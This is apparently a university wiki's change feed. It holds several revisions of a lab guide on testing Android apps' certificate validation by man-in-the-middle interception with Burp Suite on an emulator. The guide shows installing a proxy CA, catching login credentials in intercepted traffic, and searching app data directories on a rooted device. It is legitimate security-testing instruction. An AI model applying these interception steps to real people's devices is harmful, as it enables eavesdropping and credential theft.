		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:ErrorMessageW3AF.png&amp;diff=13875</id>
		<title>File:ErrorMessageW3AF.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:ErrorMessageW3AF.png&amp;diff=13875"/>
		<updated>2024-01-15T22:31:45Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:ErrorMessagePython2.png&amp;diff=13874</id>
		<title>File:ErrorMessagePython2.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:ErrorMessagePython2.png&amp;diff=13874"/>
		<updated>2024-01-15T22:29:10Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:ErrorMessagePython.png&amp;diff=13873</id>
		<title>File:ErrorMessagePython.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:ErrorMessagePython.png&amp;diff=13873"/>
		<updated>2024-01-15T22:26:12Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:InstallationWithDocker.png&amp;diff=13872</id>
		<title>File:InstallationWithDocker.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:InstallationWithDocker.png&amp;diff=13872"/>
		<updated>2024-01-15T20:29:33Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=MitM_on_Android_App&amp;diff=11597</id>
		<title>MitM on Android App</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=MitM_on_Android_App&amp;diff=11597"/>
		<updated>2023-04-03T09:33:36Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
The aim of this documentation is to test the certificate validation process of popular android apps. This will be done by a proxy which will intercept the traffic between the android app and the appropriate server. To simulate the Android smartphone an Android emulator was used. First the traffic will be intercepted without the root certificate of the proxy installed to check if a warning will prevent the user to continue to exchange data over an unencrypted channel. Then the root certificate of the proxy will be installed to be able to test if the https traffic can be decrypted. When targeting Android 7.0 (API level 24) or higher it shouldn&#039;t be possible to be able to see the decrypted HTTPS traffic, because the NSC settings should apply. All lower versions should accept the installed user certificates, which will allow the attacker to intercept the traffic in cleartext.&lt;br /&gt;
&lt;br /&gt;
== Background == &lt;br /&gt;
Certificate validation in Android applications is a historically known problem. This validation process is a security feature that causes clients to verify the identity of a server before attempting to authenticate on a network. &lt;br /&gt;
&lt;br /&gt;
The process is usually done by retrieving a sequence of certificates from the server, each of which has signed the next in the sequence. The root of the signing CA is the certificate that is bound to the server. The certificates in this chain are compared with the installed certificates in the client&#039;s operating system and then verified. If these are not found there, the client receives a certificate warning when surfing a website. If the client accepts the risk, it runs the risk of a third party listening in on the data traffic.&lt;br /&gt;
&lt;br /&gt;
Developers tend to implement certificate validation incorrectly on mobile applications. Therefore Google designed its Google Safeguards and Network Setting Configurations (NSC). It turns out that even with these, there are serious flaws in the implementation that allow a machine-in-the-middle attack. &lt;br /&gt;
&lt;br /&gt;
This project is intended to familiarize ourselves with the problem by testing whether mobile applications accept certificates such as those of a well-known proxy (Burp Suite) and thus allow HTTPS encryption to be broken. Results could therefore show whether there are underlying problems in the process of certificate validation in the apps, or whether the application works correctly.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Burp Suite (Download [https://portswigger.net/burp here])&lt;br /&gt;
* Android Studio Emulator (Download [https://developer.android.com/studio here])&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
=== Step 1 (Setting Up the Virtual Device) ===&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;1.Install Android Studio Emulator and start the software after installation.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;2.Configure Android SDK (Android 6.0 Marshmallow was used for this project) with the SDK Manager of the Emulator, which can be found under More Actions &amp;gt; Virtual Device Manager.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;3.Create a Virtual Device over the AVD Manager (Nexus 6 Phone was used for this project)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;4.Select the “Marshmallow” system image. When using the first time, it must be first downloaded under “Other Images”.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;5.In the next section you can set a name for the device and configure for example storage parameters or the CPU cores.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;6.Then the Emulator can be launched. The device should work and be connected to the internet automatically.&lt;br /&gt;
&lt;br /&gt;
When finished, it should look like in the figure.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=== Step 2 (Installing Apps with Android Debug Bridge) ===&lt;br /&gt;
&lt;br /&gt;
Next, some APKs can be downloaded locally on the host, which will be then pushed in the next steps on the virtual Android device.&lt;br /&gt;
&lt;br /&gt;
The APKs can be downloaded for example from [https://apk-dl.com here]. To install the APK a tool named adb (Android Debug Bridge). This command-line tool can be used to install and uninstall applications on the device. Furthermore, files can be pushed to the device. But many other things can be also done. This can be looked up here [https://developer.android.com/studio/command-line/adb here].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The Android Debug Bridge is located in the operating system at the following path: &lt;br /&gt;
&lt;br /&gt;
* Mac: /Users/[your_user]/Library/Android/sdk/platform.tools/&lt;br /&gt;
* Windows: C:\Users\[user]\AppData\Local\Android\sdk\platform-tools\&lt;br /&gt;
* Linux: /usr/share/android-sdk/platform-tools/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
After moving to the folder, you can check with “./adb devices” the list of devices attached to your system. Please pay attention that you have to be in adb folder to be able to execute adb.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
When downloading APK, you can install the application onto your virtual Android device. Assumed the APK was downloaded in the “Downloads” folder, so then we can use the following command:&lt;br /&gt;
&lt;br /&gt;
* “./adb install ~/Downloads/[your_downloaded_APK]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
After some seconds it should be able to start the app on the smartphone. &lt;br /&gt;
&lt;br /&gt;
=== Step 3 (Configuring Burp Proxy) ===&lt;br /&gt;
&lt;br /&gt;
Burp can be configured under Options like it was shown in the Figure below. The listening interface and port can be defined by clicking on the “Edit” button. Also, it can be configured that on all interfaces should be listened. In this project it was configured to listen on localhost (127.0.0.1) on port 8080.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild2.png|800px]]&lt;br /&gt;
&lt;br /&gt;
Now the Android device the proxy settings needs to be set. Go therefore to the Emulator &amp;gt; Settings &amp;gt; Proxy. Type in the proxy listener in the manual proxy settings and click on “Apply”.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild3.png|400px]]&lt;br /&gt;
&lt;br /&gt;
When you click in Burp Suite on “HTTP history” you should be able to intercept the HTTP traffic which you can create on the virtual device. &lt;br /&gt;
To be able to intercept HTTPS traffic, the burp suite certificate needs to be installed on the Android device.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild4.png|800px]]&lt;br /&gt;
&lt;br /&gt;
=== Step 4 (Installing Burp Suite Certificate) ===&lt;br /&gt;
&lt;br /&gt;
In Burp Suite switch to “Options” and click on “Import / export CA certificate”. Then export the certificate in DER format. Give the certificate a name and save it with a “.cer” extension.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild5.png|800px]]&lt;br /&gt;
&lt;br /&gt;
Now the certificate can be pushed with following command into SD card on the emulator:&lt;br /&gt;
&lt;br /&gt;
* ./adb push ~/Downloads/burpcert.cer /sdcard&lt;br /&gt;
&lt;br /&gt;
With an interactive shell it can be checked now if the certificate is already persistent on the device:&lt;br /&gt;
&lt;br /&gt;
* adb shell		// Start the interactive shell&lt;br /&gt;
* cd sdcard/		// Switch to SD-card storage&lt;br /&gt;
* ls			// Show all files in current directory &lt;br /&gt;
&lt;br /&gt;
The certificate file should be now displayed in the directory.&lt;br /&gt;
On the Android device the certificate can be installed under Settings &amp;gt; Security &amp;gt; Install from SD card &amp;gt; Internal storage &amp;gt; [your_certificate_name].cer&lt;br /&gt;
&lt;br /&gt;
Follow the process straight away. &lt;br /&gt;
After installing the certificate, the root certificate (PortSwigger CA) should be installed under Settings &amp;gt; Security &amp;gt; Trusted credentials &amp;gt; USER&lt;br /&gt;
&lt;br /&gt;
[[File:Bild6.png|400px]]&lt;br /&gt;
&lt;br /&gt;
Now you should be also able to intercept HTTPS traffic. Intercept now individual POST requests over the “Intercept” option in Burp. Turn the interception on and enter some test credentials. Encrypted, hashed or cleartext passwords should be now caught.&lt;br /&gt;
Also, it can be searched for sensitive data over the interactive shell: &lt;br /&gt;
&lt;br /&gt;
* adb shell&lt;br /&gt;
* cd /&lt;br /&gt;
* cd data/data &lt;br /&gt;
&lt;br /&gt;
Then you can search all the directories for some interesting data. Be careful, the device has to be rooted in order to be able to have access to these folders. &lt;br /&gt;
&lt;br /&gt;
[[File:Bild7.png|800px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Step 5 (Certificate Validation Testing) ===&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;1.Self-signed certificate&lt;br /&gt;
: To see if your application accepts self-signed certificates, you should install a self-signed certificate and check if you can see the HTTPS traffic. &lt;br /&gt;
: In order to install the self-signed certificate in Burp go to:&lt;br /&gt;
:: *the Proxy tab and select Options.&lt;br /&gt;
:: *Go then to Proxy Listeners sections, choose your listener and click on Edit.&lt;br /&gt;
:: *Click on Certificate tab, choose Use a self-signed certificate and confirm.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;2.Accepting certificates with an untrusted CA &lt;br /&gt;
&lt;br /&gt;
: The same procedure can be executed here in order to test the application for certificates with an untrusted CA. &lt;br /&gt;
: On the Certificate tab, check the Generate a CA-signed certificate with a specific hostname button and type in the backend server’s hostname. &lt;br /&gt;
: Again, if it is possible to see the decrypted HTTPS traffic, the application is accepting certificates with an untrusted CA.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;3.Accepting incorrect hostname&lt;br /&gt;
&lt;br /&gt;
: The third option is a test with an CA-sgined certificate with a specific hostname. &lt;br /&gt;
: For this option you have to choose the CA-signed certificate with a specific hostname button under the Certificate tab. Afterwards you need to type in a invalid hostname (e.g., test.com)&lt;br /&gt;
: If you were not able to see any decrypted HTTPS traffic the application most probably has certificate pinning implemented.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
Some popular apps which were downloaded millions of times, were tested within this project. Basically, we distinguish between three outputs:&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;1.There are apps which didn’t load anymore and therefore didn’t work if a proxy on the virtual device is configured, most probably because of an implementation of certificate pinning.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;2.App does work correctly, but the credentials cannot be decrypted. &lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;3.App does work and credentials can be decrypted. &lt;br /&gt;
&lt;br /&gt;
Most of the apps do not work since they have most probably HPKP, certificate- or key pinning implemented, which didn’t allow to accept another certificate then configured.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://owasp.org/www-project-mobile-app-security/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=MitM_on_Android_App&amp;diff=11586</id>
		<title>MitM on Android App</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=MitM_on_Android_App&amp;diff=11586"/>
		<updated>2023-03-30T21:24:26Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
The aim of this documentation is to test the certificate validation process of popular android apps. This will be done by a proxy which will intercept the traffic between the android app and the appropriate server. To simulate the Android smartphone an Android emulator was used. First the traffic will be intercepted without the root certificate of the proxy installed to check if a warning will prevent the user to continue to exchange data over an unencrypted channel. Then the root certificate of the proxy will be installed to be able to test if the https traffic can be decrypted. When targeting Android 7.0 (API level 24) or higher it shouldn&#039;t be possible to be able to see the decrypted HTTPS traffic, because the NSC settings should apply. All lower versions should accept the installed user certificates, which will allow the attacker to intercept the traffic in cleartext.&lt;br /&gt;
&lt;br /&gt;
== Background == &lt;br /&gt;
Certificate validation in Android applications is a historically known problem. This validation process is a security feature that causes clients to verify the identity of a server before attempting to authenticate on a network. &lt;br /&gt;
&lt;br /&gt;
The process is usually done by retrieving a sequence of certificates from the server, each of which has signed the next in the sequence. The root of the signing CA is the certificate that is bound to the server. The certificates in this chain are compared with the installed certificates in the client&#039;s operating system and then verified. If these are not found there, the client receives a certificate warning when surfing a website. If the client accepts the risk, it runs the risk of a third party listening in on the data traffic.&lt;br /&gt;
&lt;br /&gt;
Developers tend to implement certificate validation incorrectly on mobile applications. Therefore Google designed its Google Safeguards and Network Setting Configurations (NSC). It turns out that even with these, there are serious flaws in the implementation that allow a machine-in-the-middle attack. &lt;br /&gt;
&lt;br /&gt;
This project is intended to familiarize ourselves with the problem by testing whether mobile applications accept certificates such as those of a well-known proxy (Burp Suite) and thus allow HTTPS encryption to be broken. Results could therefore show whether there are underlying problems in the process of certificate validation in the apps, or whether the application works correctly.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Burp Suite (Download [https://portswigger.net/burp here])&lt;br /&gt;
* Android Studio Emulator (Download [https://developer.android.com/studio here])&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
=== Step 1 (Setting Up the Virtual Device) ===&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;1.Install Android Studio Emulator and start the software after installation.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;2.Configure Android SDK (Android 6.0 Marshmallow was used for this project) with the SDK Manager of the Emulator, which can be found under More Actions &amp;gt; Virtual Device Manager.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;3.Create a Virtual Device over the AVD Manager (Nexus 6 Phone was used for this project)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;4.Select the “Marshmallow” system image. When using the first time, it must be first downloaded under “Other Images”.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;5.In the next section you can set a name for the device and configure for example storage parameters or the CPU cores.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;6.Then the Emulator can be launched. The device should work and be connected to the internet automatically.&lt;br /&gt;
&lt;br /&gt;
When finished, it should look like in the figure.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=== Step 2 (Installing Apps with Android Debug Bridge) ===&lt;br /&gt;
&lt;br /&gt;
Next, some APKs can be downloaded locally on the host, which will be then pushed in the next steps on the virtual Android device.&lt;br /&gt;
&lt;br /&gt;
The APKs can be downloaded for example from [https://apk-dl.com here]. To install the APK a tool named adb (Android Debug Bridge). This command-line tool can be used to install and uninstall applications on the device. Furthermore, files can be pushed to the device. But many other things can be also done. This can be looked up here [https://developer.android.com/studio/command-line/adb here].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The Android Debug Bridge is located in the operating system at the following path: &lt;br /&gt;
&lt;br /&gt;
* Mac: /Users/[your_user]/Library/Android/sdk/platform.tools/&lt;br /&gt;
* Windows: C:\Users\[user]\AppData\Local\Android\sdk\platform-tools\&lt;br /&gt;
* Linux: /usr/share/android-sdk/platform-tools/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
After moving to the folder, you can check with “./adb devices” the list of devices attached to your system. Please pay attention that you have to be in adb folder to be able to execute adb.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
When downloading APK, you can install the application onto your virtual Android device. Assumed the APK was downloaded in the “Downloads” folder, so then we can use the following command:&lt;br /&gt;
&lt;br /&gt;
* “./adb install ~/Downloads/[your_downloaded_APK]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
After some seconds it should be able to start the app on the smartphone. &lt;br /&gt;
&lt;br /&gt;
=== Step 3 (Configuring Burp Proxy) ===&lt;br /&gt;
&lt;br /&gt;
Burp can be configured under Options like it was shown in the Figure below. The listening interface and port can be defined by clicking on the “Edit” button. Also, it can be configured that on all interfaces should be listened. In this project it was configured to listen on localhost (127.0.0.1) on port 8080.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild2.png|800px]]&lt;br /&gt;
&lt;br /&gt;
Now the Android device the proxy settings needs to be set. Go therefore to the Emulator &amp;gt; Settings &amp;gt; Proxy. Type in the proxy listener in the manual proxy settings and click on “Apply”.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild3.png|400px]]&lt;br /&gt;
&lt;br /&gt;
When you click in Burp Suite on “HTTP history” you should be able to intercept the HTTP traffic which you can create on the virtual device. &lt;br /&gt;
To be able to intercept HTTPS traffic, the burp suite certificate needs to be installed on the Android device.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild4.png|800px]]&lt;br /&gt;
&lt;br /&gt;
=== Step 4 (Installing Burp Suite Certificate) ===&lt;br /&gt;
&lt;br /&gt;
In Burp Suite switch to “Options” and click on “Import / export CA certificate”. Then export the certificate in DER format. Give the certificate a name and save it with a “.cer” extension.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild5.png|800px]]&lt;br /&gt;
&lt;br /&gt;
Now the certificate can be pushed with following command into SD card on the emulator:&lt;br /&gt;
&lt;br /&gt;
* ./adb push ~/Downloads/burpcert.cer /sdcard&lt;br /&gt;
&lt;br /&gt;
With an interactive shell it can be checked now if the certificate is already persistent on the device:&lt;br /&gt;
&lt;br /&gt;
* adb shell		// Start the interactive shell&lt;br /&gt;
* cd sdcard/		// Switch to SD-card storage&lt;br /&gt;
* ls			// Show all files in current directory &lt;br /&gt;
&lt;br /&gt;
The certificate file should be now displayed in the directory.&lt;br /&gt;
On the Android device the certificate can be installed under Settings &amp;gt; Security &amp;gt; Install from SD card &amp;gt; Internal storage &amp;gt; [your_certificate_name].cer&lt;br /&gt;
&lt;br /&gt;
Follow the process straight away. &lt;br /&gt;
After installing the certificate, the root certificate (PortSwigger CA) should be installed under Settings &amp;gt; Security &amp;gt; Trusted credentials &amp;gt; USER&lt;br /&gt;
&lt;br /&gt;
[[File:Bild6.png|400px]]&lt;br /&gt;
&lt;br /&gt;
Now you should be also able to intercept HTTPS traffic. Intercept now individual POST requests over the “Intercept” option in Burp. Turn the interception on and enter some test credentials. Encrypted, hashed or cleartext passwords should be now caught.&lt;br /&gt;
Also, it can be searched for sensitive data over the interactive shell: &lt;br /&gt;
&lt;br /&gt;
* adb shell&lt;br /&gt;
* cd /&lt;br /&gt;
* cd data/data &lt;br /&gt;
&lt;br /&gt;
Then you can search all the directories for some interesting data. Be careful, the device has to be rooted in order to be able to have access to these folders. &lt;br /&gt;
&lt;br /&gt;
[[File:Bild7.png|800px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Step 5 (Certificate Validation Testing) ===&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;1.Self-signed certificate&lt;br /&gt;
: To see if your application accepts self-signed certificates, you should install a self-signed certificate and check if you can see the HTTPS traffic. &lt;br /&gt;
: In order to install the self-signed certificate in Burp go to:&lt;br /&gt;
:: *the Proxy tab and select Options.&lt;br /&gt;
:: *Go then to Proxy Listeners sections, choose your listener and click on Edit.&lt;br /&gt;
:: *Click on Certificate tab, choose Use a self-signed certificate and confirm.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;2.Accepting certificates with an untrusted CA &lt;br /&gt;
&lt;br /&gt;
: The same procedure can be executed here in order to test the application for certificates with an untrusted CA. &lt;br /&gt;
: On the Certificate tab, check the Generate a CA-signed certificate with a specific hostname button and type in the backend server’s hostname. &lt;br /&gt;
: Again, if it is possible to see the decrypted HTTPS traffic, the application is accepting certificates with an untrusted CA.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;3.Accepting incorrect hostname&lt;br /&gt;
&lt;br /&gt;
: The third option is a test with an CA-sgined certificate with a specific hostname. &lt;br /&gt;
: For this option you have to choose the CA-signed certificate with a specific hostname button under the Certificate tab. Afterwards you need to type in a invalid hostname (e.g., test.com)&lt;br /&gt;
: If you were not able to see any decrypted HTTPS traffic the application most probably has certificate pinning implemented.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
Some popular apps which were downloaded millions of times, were tested within this project. Basically, we distinguish between three outputs:&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;1.There are apps which didn’t load anymore and therefore didn’t work if a proxy on the virtual device is configured, most probably because of an implementation of certificate pinning.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;2.App does work correctly, but the credentials cannot be decrypted. &lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;3.App does work and credentials can be decrypted. &lt;br /&gt;
&lt;br /&gt;
Most of the apps do not work since they have most probably HPKP, certificate- or key pinning implemented, which didn’t allow to accept another certificate then configured.&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>EPelanovic</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=MitM_on_Android_App&amp;diff=11585</id>
		<title>MitM on Android App</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=MitM_on_Android_App&amp;diff=11585"/>
		<updated>2023-03-30T17:44:28Z</updated>

		<summary type="html">&lt;p&gt;EPelanovic: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
The aim of this documentation is to test the certificate validation process of popular android apps. This will be done by a proxy which will intercept the traffic between the android app and the appropriate server. To simulate the Android smartphone an Android emulator was used. First the traffic will be intercepted without the root certificate of the proxy installed to check if a warning will prevent the user to continue to exchange data over an unencrypted channel. Then the root certificate of the proxy will be installed to be able to test if the https traffic can be decrypted. When targeting Android 7.0 (API level 24) or higher it shouldn&#039;t be possible to be able to see the decrypted HTTPS traffic, because the NSC settings should apply. All lower versions should accept the installed user certificates, which will allow the attacker to intercept the traffic in cleartext.&lt;br /&gt;
&lt;br /&gt;
== Background == &lt;br /&gt;
Certificate validation in Android applications is a historically known problem. This validation process is a security feature that causes clients to verify the identity of a server before attempting to authenticate on a network. &lt;br /&gt;
&lt;br /&gt;
The process is usually done by retrieving a sequence of certificates from the server, each of which has signed the next in the sequence. The root of the signing CA is the certificate that is bound to the server. The certificates in this chain are compared with the installed certificates in the client&#039;s operating system and then verified. If these are not found there, the client receives a certificate warning when surfing a website. If the client accepts the risk, it runs the risk of a third party listening in on the data traffic.&lt;br /&gt;
&lt;br /&gt;
Developers tend to implement certificate validation incorrectly on mobile applications. Therefore Google designed its Google Safeguards and Network Setting Configurations (NSC). It turns out that even with these, there are serious flaws in the implementation that allow a machine-in-the-middle attack. &lt;br /&gt;
&lt;br /&gt;
This project is intended to familiarize ourselves with the problem by testing whether mobile applications accept certificates such as those of a well-known proxy (Burp Suite) and thus allow HTTPS encryption to be broken. Results could therefore show whether there are underlying problems in the process of certificate validation in the apps, or whether the application works correctly.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Burp Suite (Download [https://portswigger.net/burp here])&lt;br /&gt;
* Android Studio Emulator (Download [https://developer.android.com/studio here])&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
=== Step 1 (Setting Up the Virtual Device) ===&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;1.Install Android Studio Emulator and start the software after installation.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;2.Configure Android SDK (Android 6.0 Marshmallow was used for this project) with the SDK Manager of the Emulator, which can be found under More Actions &amp;gt; Virtual Device Manager.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;3.Create a Virtual Device over the AVD Manager (Nexus 6 Phone was used for this project)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;4.Select the “Marshmallow” system image. When using the first time, it must be first downloaded under “Other Images”.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;5.In the next section you can set a name for the device and configure for example storage parameters or the CPU cores.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;6.Then the Emulator can be launched. The device should work and be connected to the internet automatically.&lt;br /&gt;
&lt;br /&gt;
When finished, it should look like in the figure.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=== Step 2 (Installing Apps with Android Debug Bridge) ===&lt;br /&gt;
&lt;br /&gt;
Next, some APKs can be downloaded locally on the host, which will be then pushed in the next steps on the virtual Android device.&lt;br /&gt;
&lt;br /&gt;
The APKs can be downloaded for example from [https://apk-dl.com here]. To install the APK a tool named adb (Android Debug Bridge). This command-line tool can be used to install and uninstall applications on the device. Furthermore, files can be pushed to the device. But many other things can be also done. This can be looked up here [https://developer.android.com/studio/command-line/adb here].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The Android Debug Bridge is located in the operating system at the following path: &lt;br /&gt;
&lt;br /&gt;
* Mac: /Users/[your_user]/Library/Android/sdk/platform.tools/&lt;br /&gt;
* Windows: C:\Users\[user]\AppData\Local\Android\sdk\platform-tools\&lt;br /&gt;
* Linux: /usr/share/android-sdk/platform-tools/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
After moving to the folder, you can check with “./adb devices” the list of devices attached to your system. Please pay attention that you have to be in adb folder to be able to execute adb.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
When downloading APK, you can install the application onto your virtual Android device. Assumed the APK was downloaded in the “Downloads” folder, so then we can use the following command:&lt;br /&gt;
&lt;br /&gt;
* “./adb install ~/Downloads/[your_downloaded_APK]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
After some seconds it should be able to start the app on the smartphone. &lt;br /&gt;
&lt;br /&gt;
=== Step 3 (Configuring Burp Proxy) ===&lt;br /&gt;
&lt;br /&gt;
Burp can be configured under Options like it was shown in the Figure below. The listening interface and port can be defined by clicking on the “Edit” button. Also, it can be configured that on all interfaces should be listened. In this project it was configured to listen on localhost (127.0.0.1) on port 8080.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild2.png|800px]]&lt;br /&gt;
&lt;br /&gt;
Now the Android device the proxy settings needs to be set. Go therefore to the Emulator &amp;gt; Settings &amp;gt; Proxy. Type in the proxy listener in the manual proxy settings and click on “Apply”.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild3.png|400px]]&lt;br /&gt;
&lt;br /&gt;
When you click in Burp Suite on “HTTP history” you should be able to intercept the HTTP traffic which you can create on the virtual device. &lt;br /&gt;
To be able to intercept HTTPS traffic, the burp suite certificate needs to be installed on the Android device.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild4.png|800px]]&lt;br /&gt;
&lt;br /&gt;
=== Step 4 (Installing Burp Suite Certificate) ===&lt;br /&gt;
&lt;br /&gt;
In Burp Suite switch to “Options” and click on “Import / export CA certificate”. Then export the certificate in DER format. Give the certificate a name and save it with a “.cer” extension.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild5.png|800px]]&lt;br /&gt;
&lt;br /&gt;
Now the certificate can be pushed with following command into SD card on the emulator:&lt;br /&gt;
&lt;br /&gt;
* ./adb push ~/Downloads/burpcert.cer /sdcard&lt;br /&gt;
&lt;br /&gt;
With an interactive shell it can be checked now if the certificate is already persistent on the device:&lt;br /&gt;
&lt;br /&gt;
* adb shell		// Start the interactive shell&lt;br /&gt;
* cd sdcard/		// Switch to SD-card storage&lt;br /&gt;
* ls			// Show all files in current directory &lt;br /&gt;
&lt;br /&gt;
The certificate file should be now displayed in the directory.&lt;br /&gt;
On the Android device the certificate can be installed under Settings &amp;gt; Security &amp;gt; Install from SD card &amp;gt; Internal storage &amp;gt; [your_certificate_name].cer&lt;br /&gt;
&lt;br /&gt;
Follow the process straight away. &lt;br /&gt;
After installing the certificate, the root certificate (PortSwigger CA) should be installed under Settings &amp;gt; Security &amp;gt; Trusted credentials &amp;gt; USER&lt;br /&gt;
&lt;br /&gt;
[[File:Bild6.png|400px]]&lt;br /&gt;
&lt;br /&gt;
Now you should be also able to intercept HTTPS traffic. Intercept now individual POST requests over the “Intercept” option in Burp. Turn the interception on and enter some test credentials. Encrypted, hashed or cleartext passwords should be now caught.&lt;br /&gt;
Also, it can be searched for sensitive data over the interactive shell: &lt;br /&gt;
&lt;br /&gt;
* adb shell&lt;br /&gt;
* cd /&lt;br /&gt;
* cd data/data &lt;br /&gt;
&lt;br /&gt;
